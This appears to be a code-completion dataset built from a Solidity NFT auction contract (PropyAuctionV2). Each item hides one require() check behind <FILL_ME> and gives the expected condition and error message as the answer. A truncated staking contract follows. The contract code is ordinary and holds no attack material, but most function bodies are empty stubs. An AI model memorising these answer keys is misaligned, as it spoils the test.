import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './IWhitelist.sol';
import './TimeContract.sol';
contract PropyAuctionV2 is AccessControl, TimeContract {
using SafeERC20 for IERC20;
using Address for *;
bytes32 public constant CONFIG_ROLE = keccak256('CONFIG_ROLE');
bytes32 public constant FINALIZE_ROLE = keccak256('FINALIZE_ROLE');
uint32 public constant BID_DEADLINE_EXTENSION = 15 minutes;
uint32 public constant MAX_AUCTION_LENGTH = 30 days;
IWhitelist public immutable whitelist;
// Auction ID is constructed as keccak256(abi.encodePacked(address(nft), uint256(nftId), uint32(startDate)))
mapping(bytes32 => Auction) internal auctions;
mapping(bytes32 => mapping(address => uint)) internal bids;
mapping(address => uint) public unclaimed;
struct Auction {
uint128 minBid;
uint32 deadline;
uint32 finalizeTimeout;
bool finalized;
}
event TokensRecovered(address token, address to, uint value);
event Bid(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Claimed(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Withdrawn(address user, uint value);
event Finalized(IERC721 nft, uint nftId, uint32 start, address winner, uint winnerBid);
event AuctionAdded(IERC721 nft, uint nftId, uint32 start, uint32 deadline, uint128 minBid, uint32 timeout);
event MinBidUpdated(IERC721 nft, uint nftId, uint32 start, uint128 minBid);
event DeadlineExtended(IERC721 nft, uint nftId, uint32 start, uint32 deadline);
modifier onlyWhitelisted() {
}
constructor(
address _owner,
address _configurator,
address _finalizer,
IWhitelist _whitelist
) {
}
function _auctionId(IERC721 _nft, uint _nftId, uint32 _start) internal pure returns(bytes32) {
}
function getAuction(IERC721 _nft, uint _nftId, uint32 _start) external view returns(Auction memory) {
}
function getBid(IERC721 _nft, uint _nftId, uint32 _start, address _bidder) public view returns(uint) {
}
function bid(IERC721 _nft, uint _nftId, uint32 _start) external payable virtual {
}
function _bid(IERC721 _nft, uint _nftId, uint32 _start, uint _amount) internal onlyWhitelisted {
}
function addAuction(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline, uint128 _minBid, uint32 _finalizeTimeout) external onlyRole(CONFIG_ROLE) {
require(_minBid > 0, 'Auction: Invalid min bid');
require(<FILL_ME>)
require(_deadline > _start, 'Auction: Deadline should be more than start time');
require(MAX_AUCTION_LENGTH >= _deadline - _start, 'Auction: Auction time is more than max allowed');
bytes32 id = _auctionId(_nft, _nftId, _start);
Auction storage auction = auctions[id];
require(auction.deadline == 0, 'Auction: Already added');
auction.minBid = _minBid;
auction.deadline = _deadline;
auction.finalizeTimeout = _finalizeTimeout;
emit AuctionAdded(_nft, _nftId, _start, _deadline, _minBid, _finalizeTimeout);
}
function updateMinBid(IERC721 _nft, uint _nftId, uint32 _start, uint128 _minBid) external onlyRole(CONFIG_ROLE) {
}
function updateDeadline(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline) external onlyRole(CONFIG_ROLE) {
}
function finalize(
IERC721 _nft,
uint _nftId,
uint32 _start,
address _winner,
address[] memory _payoutAddresses,
uint256[] memory _payoutAddressValues
) external onlyRole(FINALIZE_ROLE) {
}
function claim(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user) public {
}
function _claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user, uint _userBid) internal {
}
function withdraw() external {
}
function withdrawFor(address _user) external onlyRole(CONFIG_ROLE) {
}
function _withdraw(address _user) internal {
}
function claimAndWithdrawFor(IERC721 _nft, uint _nftId, uint32 _start, address[] calldata _users) external onlyRole(CONFIG_ROLE) {
}
function claimAndWithdraw(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function recoverTokens(IERC20 _token, address _destination, uint _amount) public virtual onlyRole(CONFIG_ROLE) {
}
function isDone(IERC721 _nft, uint _nftId, uint32 _start) external view returns(bool) {
}
function _isDone(Auction memory _auction) internal view returns(bool) {
}
function _pay(address _to, uint _amount) internal virtual {
}
}
| notPassed(_start),'Auction: Start should be more than current time' | 108,022 | notPassed(_start) |
'Auction: Auction time is more than max allowed' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './IWhitelist.sol';
import './TimeContract.sol';
contract PropyAuctionV2 is AccessControl, TimeContract {
using SafeERC20 for IERC20;
using Address for *;
bytes32 public constant CONFIG_ROLE = keccak256('CONFIG_ROLE');
bytes32 public constant FINALIZE_ROLE = keccak256('FINALIZE_ROLE');
uint32 public constant BID_DEADLINE_EXTENSION = 15 minutes;
uint32 public constant MAX_AUCTION_LENGTH = 30 days;
IWhitelist public immutable whitelist;
// Auction ID is constructed as keccak256(abi.encodePacked(address(nft), uint256(nftId), uint32(startDate)))
mapping(bytes32 => Auction) internal auctions;
mapping(bytes32 => mapping(address => uint)) internal bids;
mapping(address => uint) public unclaimed;
struct Auction {
uint128 minBid;
uint32 deadline;
uint32 finalizeTimeout;
bool finalized;
}
event TokensRecovered(address token, address to, uint value);
event Bid(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Claimed(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Withdrawn(address user, uint value);
event Finalized(IERC721 nft, uint nftId, uint32 start, address winner, uint winnerBid);
event AuctionAdded(IERC721 nft, uint nftId, uint32 start, uint32 deadline, uint128 minBid, uint32 timeout);
event MinBidUpdated(IERC721 nft, uint nftId, uint32 start, uint128 minBid);
event DeadlineExtended(IERC721 nft, uint nftId, uint32 start, uint32 deadline);
modifier onlyWhitelisted() {
}
constructor(
address _owner,
address _configurator,
address _finalizer,
IWhitelist _whitelist
) {
}
function _auctionId(IERC721 _nft, uint _nftId, uint32 _start) internal pure returns(bytes32) {
}
function getAuction(IERC721 _nft, uint _nftId, uint32 _start) external view returns(Auction memory) {
}
function getBid(IERC721 _nft, uint _nftId, uint32 _start, address _bidder) public view returns(uint) {
}
function bid(IERC721 _nft, uint _nftId, uint32 _start) external payable virtual {
}
function _bid(IERC721 _nft, uint _nftId, uint32 _start, uint _amount) internal onlyWhitelisted {
}
function addAuction(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline, uint128 _minBid, uint32 _finalizeTimeout) external onlyRole(CONFIG_ROLE) {
}
function updateMinBid(IERC721 _nft, uint _nftId, uint32 _start, uint128 _minBid) external onlyRole(CONFIG_ROLE) {
}
function updateDeadline(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline) external onlyRole(CONFIG_ROLE) {
bytes32 id = _auctionId(_nft, _nftId, _start);
Auction memory auction = auctions[id];
require(auction.deadline > 0, 'Auction: Not found');
require(_deadline > auction.deadline, 'Auction: New deadline should be more than previous');
require(<FILL_ME>)
Auction storage auctionUpdate = auctions[id];
auctionUpdate.deadline = _deadline;
emit DeadlineExtended(_nft, _nftId, _start, _deadline);
}
function finalize(
IERC721 _nft,
uint _nftId,
uint32 _start,
address _winner,
address[] memory _payoutAddresses,
uint256[] memory _payoutAddressValues
) external onlyRole(FINALIZE_ROLE) {
}
function claim(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user) public {
}
function _claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user, uint _userBid) internal {
}
function withdraw() external {
}
function withdrawFor(address _user) external onlyRole(CONFIG_ROLE) {
}
function _withdraw(address _user) internal {
}
function claimAndWithdrawFor(IERC721 _nft, uint _nftId, uint32 _start, address[] calldata _users) external onlyRole(CONFIG_ROLE) {
}
function claimAndWithdraw(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function recoverTokens(IERC20 _token, address _destination, uint _amount) public virtual onlyRole(CONFIG_ROLE) {
}
function isDone(IERC721 _nft, uint _nftId, uint32 _start) external view returns(bool) {
}
function _isDone(Auction memory _auction) internal view returns(bool) {
}
function _pay(address _to, uint _amount) internal virtual {
}
}
| _deadline-_start<=MAX_AUCTION_LENGTH,'Auction: Auction time is more than max allowed' | 108,022 | _deadline-_start<=MAX_AUCTION_LENGTH |
'Auction: Already finalized' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './IWhitelist.sol';
import './TimeContract.sol';
contract PropyAuctionV2 is AccessControl, TimeContract {
using SafeERC20 for IERC20;
using Address for *;
bytes32 public constant CONFIG_ROLE = keccak256('CONFIG_ROLE');
bytes32 public constant FINALIZE_ROLE = keccak256('FINALIZE_ROLE');
uint32 public constant BID_DEADLINE_EXTENSION = 15 minutes;
uint32 public constant MAX_AUCTION_LENGTH = 30 days;
IWhitelist public immutable whitelist;
// Auction ID is constructed as keccak256(abi.encodePacked(address(nft), uint256(nftId), uint32(startDate)))
mapping(bytes32 => Auction) internal auctions;
mapping(bytes32 => mapping(address => uint)) internal bids;
mapping(address => uint) public unclaimed;
struct Auction {
uint128 minBid;
uint32 deadline;
uint32 finalizeTimeout;
bool finalized;
}
event TokensRecovered(address token, address to, uint value);
event Bid(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Claimed(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Withdrawn(address user, uint value);
event Finalized(IERC721 nft, uint nftId, uint32 start, address winner, uint winnerBid);
event AuctionAdded(IERC721 nft, uint nftId, uint32 start, uint32 deadline, uint128 minBid, uint32 timeout);
event MinBidUpdated(IERC721 nft, uint nftId, uint32 start, uint128 minBid);
event DeadlineExtended(IERC721 nft, uint nftId, uint32 start, uint32 deadline);
modifier onlyWhitelisted() {
}
constructor(
address _owner,
address _configurator,
address _finalizer,
IWhitelist _whitelist
) {
}
function _auctionId(IERC721 _nft, uint _nftId, uint32 _start) internal pure returns(bytes32) {
}
function getAuction(IERC721 _nft, uint _nftId, uint32 _start) external view returns(Auction memory) {
}
function getBid(IERC721 _nft, uint _nftId, uint32 _start, address _bidder) public view returns(uint) {
}
function bid(IERC721 _nft, uint _nftId, uint32 _start) external payable virtual {
}
function _bid(IERC721 _nft, uint _nftId, uint32 _start, uint _amount) internal onlyWhitelisted {
}
function addAuction(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline, uint128 _minBid, uint32 _finalizeTimeout) external onlyRole(CONFIG_ROLE) {
}
function updateMinBid(IERC721 _nft, uint _nftId, uint32 _start, uint128 _minBid) external onlyRole(CONFIG_ROLE) {
}
function updateDeadline(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline) external onlyRole(CONFIG_ROLE) {
}
function finalize(
IERC721 _nft,
uint _nftId,
uint32 _start,
address _winner,
address[] memory _payoutAddresses,
uint256[] memory _payoutAddressValues
) external onlyRole(FINALIZE_ROLE) {
bytes32 id = _auctionId(_nft, _nftId, _start);
require(_payoutAddresses.length > 0, "Auction: Payout address(es) required");
require(_payoutAddresses.length == _payoutAddressValues.length, "Auction: Each fixed payout address must have a corresponding fee");
Auction memory auction = auctions[id];
require(auction.deadline > 0, 'Auction: Not found');
require(<FILL_ME>)
require(notPassed(auction.deadline + auction.finalizeTimeout), 'Auction: Finalize expired, auction cancelled');
uint winnerBid = bids[id][_winner];
require(winnerBid > 0, 'Auction: Winner did not bid');
bids[id][_winner] = 0;
auctions[id].finalized = true;
_nft.safeTransferFrom(_nft.ownerOf(_nftId), _winner, _nftId);
uint256 totalPayout;
for(uint256 i = 0; i < _payoutAddresses.length; i++) {
require((_payoutAddressValues[i] > 0) && (_payoutAddressValues[i] <= winnerBid), "Auction: _payoutAddressValues may not contain values of 0 and may not exceed the winnerBid value");
_pay(payable(_payoutAddresses[i]), _payoutAddressValues[i]);
totalPayout += _payoutAddressValues[i];
}
require(totalPayout == winnerBid, "Auction: _payoutAddressValues must equal winnerBid");
emit Finalized(_nft, _nftId, _start, _winner, winnerBid);
}
function claim(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user) public {
}
function _claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user, uint _userBid) internal {
}
function withdraw() external {
}
function withdrawFor(address _user) external onlyRole(CONFIG_ROLE) {
}
function _withdraw(address _user) internal {
}
function claimAndWithdrawFor(IERC721 _nft, uint _nftId, uint32 _start, address[] calldata _users) external onlyRole(CONFIG_ROLE) {
}
function claimAndWithdraw(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function recoverTokens(IERC20 _token, address _destination, uint _amount) public virtual onlyRole(CONFIG_ROLE) {
}
function isDone(IERC721 _nft, uint _nftId, uint32 _start) external view returns(bool) {
}
function _isDone(Auction memory _auction) internal view returns(bool) {
}
function _pay(address _to, uint _amount) internal virtual {
}
}
| !auction.finalized,'Auction: Already finalized' | 108,022 | !auction.finalized |
'Auction: Finalize expired, auction cancelled' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './IWhitelist.sol';
import './TimeContract.sol';
contract PropyAuctionV2 is AccessControl, TimeContract {
using SafeERC20 for IERC20;
using Address for *;
bytes32 public constant CONFIG_ROLE = keccak256('CONFIG_ROLE');
bytes32 public constant FINALIZE_ROLE = keccak256('FINALIZE_ROLE');
uint32 public constant BID_DEADLINE_EXTENSION = 15 minutes;
uint32 public constant MAX_AUCTION_LENGTH = 30 days;
IWhitelist public immutable whitelist;
// Auction ID is constructed as keccak256(abi.encodePacked(address(nft), uint256(nftId), uint32(startDate)))
mapping(bytes32 => Auction) internal auctions;
mapping(bytes32 => mapping(address => uint)) internal bids;
mapping(address => uint) public unclaimed;
struct Auction {
uint128 minBid;
uint32 deadline;
uint32 finalizeTimeout;
bool finalized;
}
event TokensRecovered(address token, address to, uint value);
event Bid(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Claimed(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Withdrawn(address user, uint value);
event Finalized(IERC721 nft, uint nftId, uint32 start, address winner, uint winnerBid);
event AuctionAdded(IERC721 nft, uint nftId, uint32 start, uint32 deadline, uint128 minBid, uint32 timeout);
event MinBidUpdated(IERC721 nft, uint nftId, uint32 start, uint128 minBid);
event DeadlineExtended(IERC721 nft, uint nftId, uint32 start, uint32 deadline);
modifier onlyWhitelisted() {
}
constructor(
address _owner,
address _configurator,
address _finalizer,
IWhitelist _whitelist
) {
}
function _auctionId(IERC721 _nft, uint _nftId, uint32 _start) internal pure returns(bytes32) {
}
function getAuction(IERC721 _nft, uint _nftId, uint32 _start) external view returns(Auction memory) {
}
function getBid(IERC721 _nft, uint _nftId, uint32 _start, address _bidder) public view returns(uint) {
}
function bid(IERC721 _nft, uint _nftId, uint32 _start) external payable virtual {
}
function _bid(IERC721 _nft, uint _nftId, uint32 _start, uint _amount) internal onlyWhitelisted {
}
function addAuction(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline, uint128 _minBid, uint32 _finalizeTimeout) external onlyRole(CONFIG_ROLE) {
}
function updateMinBid(IERC721 _nft, uint _nftId, uint32 _start, uint128 _minBid) external onlyRole(CONFIG_ROLE) {
}
function updateDeadline(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline) external onlyRole(CONFIG_ROLE) {
}
function finalize(
IERC721 _nft,
uint _nftId,
uint32 _start,
address _winner,
address[] memory _payoutAddresses,
uint256[] memory _payoutAddressValues
) external onlyRole(FINALIZE_ROLE) {
bytes32 id = _auctionId(_nft, _nftId, _start);
require(_payoutAddresses.length > 0, "Auction: Payout address(es) required");
require(_payoutAddresses.length == _payoutAddressValues.length, "Auction: Each fixed payout address must have a corresponding fee");
Auction memory auction = auctions[id];
require(auction.deadline > 0, 'Auction: Not found');
require(!auction.finalized, 'Auction: Already finalized');
require(<FILL_ME>)
uint winnerBid = bids[id][_winner];
require(winnerBid > 0, 'Auction: Winner did not bid');
bids[id][_winner] = 0;
auctions[id].finalized = true;
_nft.safeTransferFrom(_nft.ownerOf(_nftId), _winner, _nftId);
uint256 totalPayout;
for(uint256 i = 0; i < _payoutAddresses.length; i++) {
require((_payoutAddressValues[i] > 0) && (_payoutAddressValues[i] <= winnerBid), "Auction: _payoutAddressValues may not contain values of 0 and may not exceed the winnerBid value");
_pay(payable(_payoutAddresses[i]), _payoutAddressValues[i]);
totalPayout += _payoutAddressValues[i];
}
require(totalPayout == winnerBid, "Auction: _payoutAddressValues must equal winnerBid");
emit Finalized(_nft, _nftId, _start, _winner, winnerBid);
}
function claim(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user) public {
}
function _claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user, uint _userBid) internal {
}
function withdraw() external {
}
function withdrawFor(address _user) external onlyRole(CONFIG_ROLE) {
}
function _withdraw(address _user) internal {
}
function claimAndWithdrawFor(IERC721 _nft, uint _nftId, uint32 _start, address[] calldata _users) external onlyRole(CONFIG_ROLE) {
}
function claimAndWithdraw(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function recoverTokens(IERC20 _token, address _destination, uint _amount) public virtual onlyRole(CONFIG_ROLE) {
}
function isDone(IERC721 _nft, uint _nftId, uint32 _start) external view returns(bool) {
}
function _isDone(Auction memory _auction) internal view returns(bool) {
}
function _pay(address _to, uint _amount) internal virtual {
}
}
| notPassed(auction.deadline+auction.finalizeTimeout),'Auction: Finalize expired, auction cancelled' | 108,022 | notPassed(auction.deadline+auction.finalizeTimeout) |
"Auction: _payoutAddressValues may not contain values of 0 and may not exceed the winnerBid value" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './IWhitelist.sol';
import './TimeContract.sol';
contract PropyAuctionV2 is AccessControl, TimeContract {
using SafeERC20 for IERC20;
using Address for *;
bytes32 public constant CONFIG_ROLE = keccak256('CONFIG_ROLE');
bytes32 public constant FINALIZE_ROLE = keccak256('FINALIZE_ROLE');
uint32 public constant BID_DEADLINE_EXTENSION = 15 minutes;
uint32 public constant MAX_AUCTION_LENGTH = 30 days;
IWhitelist public immutable whitelist;
// Auction ID is constructed as keccak256(abi.encodePacked(address(nft), uint256(nftId), uint32(startDate)))
mapping(bytes32 => Auction) internal auctions;
mapping(bytes32 => mapping(address => uint)) internal bids;
mapping(address => uint) public unclaimed;
struct Auction {
uint128 minBid;
uint32 deadline;
uint32 finalizeTimeout;
bool finalized;
}
event TokensRecovered(address token, address to, uint value);
event Bid(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Claimed(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Withdrawn(address user, uint value);
event Finalized(IERC721 nft, uint nftId, uint32 start, address winner, uint winnerBid);
event AuctionAdded(IERC721 nft, uint nftId, uint32 start, uint32 deadline, uint128 minBid, uint32 timeout);
event MinBidUpdated(IERC721 nft, uint nftId, uint32 start, uint128 minBid);
event DeadlineExtended(IERC721 nft, uint nftId, uint32 start, uint32 deadline);
modifier onlyWhitelisted() {
}
constructor(
address _owner,
address _configurator,
address _finalizer,
IWhitelist _whitelist
) {
}
function _auctionId(IERC721 _nft, uint _nftId, uint32 _start) internal pure returns(bytes32) {
}
function getAuction(IERC721 _nft, uint _nftId, uint32 _start) external view returns(Auction memory) {
}
function getBid(IERC721 _nft, uint _nftId, uint32 _start, address _bidder) public view returns(uint) {
}
function bid(IERC721 _nft, uint _nftId, uint32 _start) external payable virtual {
}
function _bid(IERC721 _nft, uint _nftId, uint32 _start, uint _amount) internal onlyWhitelisted {
}
function addAuction(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline, uint128 _minBid, uint32 _finalizeTimeout) external onlyRole(CONFIG_ROLE) {
}
function updateMinBid(IERC721 _nft, uint _nftId, uint32 _start, uint128 _minBid) external onlyRole(CONFIG_ROLE) {
}
function updateDeadline(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline) external onlyRole(CONFIG_ROLE) {
}
function finalize(
IERC721 _nft,
uint _nftId,
uint32 _start,
address _winner,
address[] memory _payoutAddresses,
uint256[] memory _payoutAddressValues
) external onlyRole(FINALIZE_ROLE) {
bytes32 id = _auctionId(_nft, _nftId, _start);
require(_payoutAddresses.length > 0, "Auction: Payout address(es) required");
require(_payoutAddresses.length == _payoutAddressValues.length, "Auction: Each fixed payout address must have a corresponding fee");
Auction memory auction = auctions[id];
require(auction.deadline > 0, 'Auction: Not found');
require(!auction.finalized, 'Auction: Already finalized');
require(notPassed(auction.deadline + auction.finalizeTimeout), 'Auction: Finalize expired, auction cancelled');
uint winnerBid = bids[id][_winner];
require(winnerBid > 0, 'Auction: Winner did not bid');
bids[id][_winner] = 0;
auctions[id].finalized = true;
_nft.safeTransferFrom(_nft.ownerOf(_nftId), _winner, _nftId);
uint256 totalPayout;
for(uint256 i = 0; i < _payoutAddresses.length; i++) {
require(<FILL_ME>)
_pay(payable(_payoutAddresses[i]), _payoutAddressValues[i]);
totalPayout += _payoutAddressValues[i];
}
require(totalPayout == winnerBid, "Auction: _payoutAddressValues must equal winnerBid");
emit Finalized(_nft, _nftId, _start, _winner, winnerBid);
}
function claim(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user) public {
}
function _claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user, uint _userBid) internal {
}
function withdraw() external {
}
function withdrawFor(address _user) external onlyRole(CONFIG_ROLE) {
}
function _withdraw(address _user) internal {
}
function claimAndWithdrawFor(IERC721 _nft, uint _nftId, uint32 _start, address[] calldata _users) external onlyRole(CONFIG_ROLE) {
}
function claimAndWithdraw(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function recoverTokens(IERC20 _token, address _destination, uint _amount) public virtual onlyRole(CONFIG_ROLE) {
}
function isDone(IERC721 _nft, uint _nftId, uint32 _start) external view returns(bool) {
}
function _isDone(Auction memory _auction) internal view returns(bool) {
}
function _pay(address _to, uint _amount) internal virtual {
}
}
| (_payoutAddressValues[i]>0)&&(_payoutAddressValues[i]<=winnerBid),"Auction: _payoutAddressValues may not contain values of 0 and may not exceed the winnerBid value" | 108,022 | (_payoutAddressValues[i]>0)&&(_payoutAddressValues[i]<=winnerBid) |
'Auction: Not done yet' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './IWhitelist.sol';
import './TimeContract.sol';
contract PropyAuctionV2 is AccessControl, TimeContract {
using SafeERC20 for IERC20;
using Address for *;
bytes32 public constant CONFIG_ROLE = keccak256('CONFIG_ROLE');
bytes32 public constant FINALIZE_ROLE = keccak256('FINALIZE_ROLE');
uint32 public constant BID_DEADLINE_EXTENSION = 15 minutes;
uint32 public constant MAX_AUCTION_LENGTH = 30 days;
IWhitelist public immutable whitelist;
// Auction ID is constructed as keccak256(abi.encodePacked(address(nft), uint256(nftId), uint32(startDate)))
mapping(bytes32 => Auction) internal auctions;
mapping(bytes32 => mapping(address => uint)) internal bids;
mapping(address => uint) public unclaimed;
struct Auction {
uint128 minBid;
uint32 deadline;
uint32 finalizeTimeout;
bool finalized;
}
event TokensRecovered(address token, address to, uint value);
event Bid(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Claimed(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Withdrawn(address user, uint value);
event Finalized(IERC721 nft, uint nftId, uint32 start, address winner, uint winnerBid);
event AuctionAdded(IERC721 nft, uint nftId, uint32 start, uint32 deadline, uint128 minBid, uint32 timeout);
event MinBidUpdated(IERC721 nft, uint nftId, uint32 start, uint128 minBid);
event DeadlineExtended(IERC721 nft, uint nftId, uint32 start, uint32 deadline);
modifier onlyWhitelisted() {
}
constructor(
address _owner,
address _configurator,
address _finalizer,
IWhitelist _whitelist
) {
}
function _auctionId(IERC721 _nft, uint _nftId, uint32 _start) internal pure returns(bytes32) {
}
function getAuction(IERC721 _nft, uint _nftId, uint32 _start) external view returns(Auction memory) {
}
function getBid(IERC721 _nft, uint _nftId, uint32 _start, address _bidder) public view returns(uint) {
}
function bid(IERC721 _nft, uint _nftId, uint32 _start) external payable virtual {
}
function _bid(IERC721 _nft, uint _nftId, uint32 _start, uint _amount) internal onlyWhitelisted {
}
function addAuction(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline, uint128 _minBid, uint32 _finalizeTimeout) external onlyRole(CONFIG_ROLE) {
}
function updateMinBid(IERC721 _nft, uint _nftId, uint32 _start, uint128 _minBid) external onlyRole(CONFIG_ROLE) {
}
function updateDeadline(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline) external onlyRole(CONFIG_ROLE) {
}
function finalize(
IERC721 _nft,
uint _nftId,
uint32 _start,
address _winner,
address[] memory _payoutAddresses,
uint256[] memory _payoutAddressValues
) external onlyRole(FINALIZE_ROLE) {
}
function claim(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user) public {
bytes32 id = _auctionId(_nft, _nftId, _start);
Auction memory auction = auctions[id];
require(<FILL_ME>)
uint userBid = bids[id][_user];
require(userBid > 0, 'Auction: Nothing to claim');
_claimFor(_nft, _nftId, _start, _user, userBid);
}
function _claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user, uint _userBid) internal {
}
function withdraw() external {
}
function withdrawFor(address _user) external onlyRole(CONFIG_ROLE) {
}
function _withdraw(address _user) internal {
}
function claimAndWithdrawFor(IERC721 _nft, uint _nftId, uint32 _start, address[] calldata _users) external onlyRole(CONFIG_ROLE) {
}
function claimAndWithdraw(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function recoverTokens(IERC20 _token, address _destination, uint _amount) public virtual onlyRole(CONFIG_ROLE) {
}
function isDone(IERC721 _nft, uint _nftId, uint32 _start) external view returns(bool) {
}
function _isDone(Auction memory _auction) internal view returns(bool) {
}
function _pay(address _to, uint _amount) internal virtual {
}
}
| _isDone(auction),'Auction: Not done yet' | 108,022 | _isDone(auction) |
"Token already installed" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IToken is IERC20 {
function name() external override view returns (string memory);
function symbol() external override view returns (string memory);
function decimals() external override view returns (uint256);
function totalSupply() external override view returns (uint256);
function balanceOf(address account) external override view returns (uint256);
function allowance(address owner, address spender) external override view returns (uint256);
function transfer(address recipient, uint256 amount) external override returns (bool);
function approve(address spender, uint256 amount) external override returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool);
function burn(uint256 amount) external returns(bool);
function setStaking(address staking_) external;
function mintForStake(address to, uint256 amount) external;
function withdrawNative(address payable account, uint256 amount) external;
function withdrawTokens(address account, uint256 amount) external;
function setNativeRate(uint256 rate) external;
function setERC20Rate(address token, uint256 rate) external;
function buyNative() external payable;
function buyERC20(address token, uint256 amount) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract UnlimitedDAOStaking is Ownable {
using SafeMath for uint256;
IToken public token;
uint256 public minStake;
struct Stake {
uint8 id;
uint256 body;
